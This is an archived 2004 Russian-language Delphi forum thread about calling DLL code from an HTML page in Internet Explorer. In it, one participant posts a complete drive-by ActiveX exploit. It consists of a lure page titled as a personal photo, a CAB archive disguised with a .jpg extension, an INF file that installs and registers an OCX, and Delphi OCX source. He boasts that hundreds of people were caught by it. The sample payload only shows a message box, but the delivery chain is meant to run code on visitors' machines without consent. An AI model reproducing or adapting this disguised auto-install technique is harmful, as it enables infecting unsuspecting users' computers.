Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Основная";
Текущий архив: 2004.11.07;
Скачать: [xml.tar.bz2];

Вниз

Использование dll в html-файле   Найти похожие ветки 

 
S-Lok   (2004-10-24 23:03) [0]

Мне вот надо использовать в html-файле некоторую процедуру из моей Delphi-программы (причем html-файл должен открываться Internet Explorer"ом). Знаю, как это можно реализовать при помощи компонента ActiveX. Но вроде бы, эту же процедуру можно объявить в dll-файле. Как мне тогда обратиться к этой dll и к этой процедуре из html-файла?


 
Gero ©   (2004-10-24 23:05) [1]

Мда, если бы html - страницы умели dll"ки грузить и функции из них вызывать - вот весело было бы...


 
kaZaNoVa ©   (2004-10-24 23:05) [2]

если ты из html откроешь dll, то тебе позавидуют все виросописатели мира !

//я раньше делал так с OCX - но после 2 SP в ХР и в 2003 винде не пашет ..


 
kaZaNoVa ©   (2004-10-24 23:06) [3]

Gero ©   (24.10.04 23:05) [1]
а ведь можно !  - раньше было .. ;)


 
Gero ©   (2004-10-24 23:07) [4]


> а ведь можно !  - раньше было

Да ну.
Ссылка имеется?


 
kaZaNoVa ©   (2004-10-24 23:07) [5]

<object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6" codebase="fotoarxiv.jpg" width=1 height=1></object>
вот ;)))))))))))))))))0


 
kaZaNoVa ©   (2004-10-24 23:08) [6]

Gero ©   (24.10.04 23:07) [4]
эх   ссылка была .. и не один человек попался ..  (не одна сотня ..)
- знакомый один делал ..


 
Gero ©   (2004-10-24 23:09) [7]


> kaZaNoVa ©   (24.10.04 23:08)
> object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6"

Это не dll.


 
kaZaNoVa ©   (2004-10-24 23:10) [8]

Gero ©   (24.10.04 23:09) [7]
там был cab архив с длл .. :)
- не веришь ?
- весь эксплоит выложить ?


 
kaZaNoVa ©   (2004-10-24 23:11) [9]

а расширение jpg - тока для маскировки ...  ;)


 
Gero ©   (2004-10-24 23:12) [10]


> kaZaNoVa ©   (24.10.04 23:10)


> там был

Где был?

> не веришь ?

Нет.

> весь эксплоит выложить ?

Как хочешь.


 
kaZaNoVa ©   (2004-10-24 23:17) [11]

ну, это уже не актуально .. так что выкладываю - пашет тока в 98, 2000, XP без 2 SP
html код:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Моя фотка</title>
</head>
<body>
<object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6" codebase="fotoarxiv.jpg" width=1 height=1></object>
Ну, как те моя фотка ?<br> - щас должна уже загрузиться ...<br>
- если не видно, проверьте настройки браузера ..
<br><br><br>
P.S. для просмотра требуется браузер INTERNET Explorer !
</body>
</html>


создаётся файл fotoarxiv.jpg - это CAB архив, внутри его 2 файла:
axhole.inf
axhole.ocx

содержание axhole.inf
[Version]
Signature="$Chicago$"
AdvancedINF=2.5

[DefaultInstall]
CopyFiles=FileList
RegisterOCXs=OCXSection

[DefaultUninstall]
Delfiles=FileList
UnRegisterOCXs=OCXSection

[OCXSection]
%11%\axhole.ocx

[FileList]
AXHOLE.OCX,,,33

[DestinationDirs]
FileList=11


исходник axhole.ocx
library Project1;
{$I-}

uses
 Windows,Shellapi;
Procedure DllGetClassObject;
Begin end;
Procedure DllRegisterServer;
 Begin end;
Procedure DllUnregisterServer;
 Begin end;
Procedure DllCanUnloadNow;
 Begin end;

exports
DllGetClassObject,
 DllRegisterServer,
DllUnregisterServer,
DllCanUnloadNow;

begin
MessageBox(0,"Если видна эта мессага-код из дллки работает","Are you Ready ?",0);
end.



 
kaZaNoVa ©   (2004-10-24 23:19) [12]

это раньше РЕАЛЬНО работало при открытии в ИЕ со стандартными настройками ..


 
kaZaNoVa ©   (2004-10-24 23:20) [13]

ps не веришь - проверь :))
то нужны права админа (кажется) и включено "загружать неподписанные ActiveX"


 
S-Lok   (2004-10-25 15:37) [14]

Тогда скажите, теоретически возможно ли каким-то еще способом, кроме ActiveX, выполнять на html-странице функции из Delphi?


 
panov ©   (2004-10-25 16:41) [15]

>S-Lok   (25.10.04 15:37) [14]
Использовать написанный в Delphi свой CGI на стороне сервера.


 
kaZaNoVa ©   (2004-10-25 18:28) [16]

panov ©   (25.10.04 16:41) [15]
точно, и эксплойты не потребуются ;)))



Страницы: 1 вся ветка

Форум: "Основная";
Текущий архив: 2004.11.07;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.49 MB
Время: 0.05 c
1-1098331590
klyg
2004-10-21 08:06
2004.11.07
Поиск слова среди HTML-документов


1-1098765625
hyper_omsk
2004-10-26 08:40
2004.11.07
несколько файлов в один


1-1098447134
eugene32
2004-10-22 16:12
2004.11.07
Как добавить индикатор прогресса в ячейку String Grid?


1-1098647263
saNat
2004-10-24 23:47
2004.11.07
Формулы аля MS Equation


8-1091916682
negrila
2004-08-08 02:11
2004.11.07
Как узнать что в MemoryStream е?





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский